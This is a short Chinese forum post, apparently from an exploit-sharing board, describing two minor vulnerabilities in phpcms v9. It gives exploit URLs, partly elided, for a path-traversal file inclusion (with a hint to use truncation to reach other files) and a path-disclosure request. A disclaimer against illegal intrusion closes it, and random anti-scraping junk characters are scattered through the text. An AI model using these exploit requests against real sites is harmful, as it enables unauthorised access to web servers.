phpcms v9两个鸡肋漏洞

admin

我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。

Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck
8 `6 T* ]# [: j' S
/ ~' g3 ]- k. N, E8 h#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
* g9 }" z) f7 i& s5 K2 i/ i
2 i7 N7 W" \- h* rExp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
, x9 y0 {- ?" T
& I, {  V( G  z: b% N0 R#暴路径
$ ^6 X  ~- L7 k5 S( ^
注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。
4 F6 B1 {0 F+ H) m8 X5 p
" L  j* I* C* g, Q* `​
! p; U/ g0 k/ z  W5 q# X
+1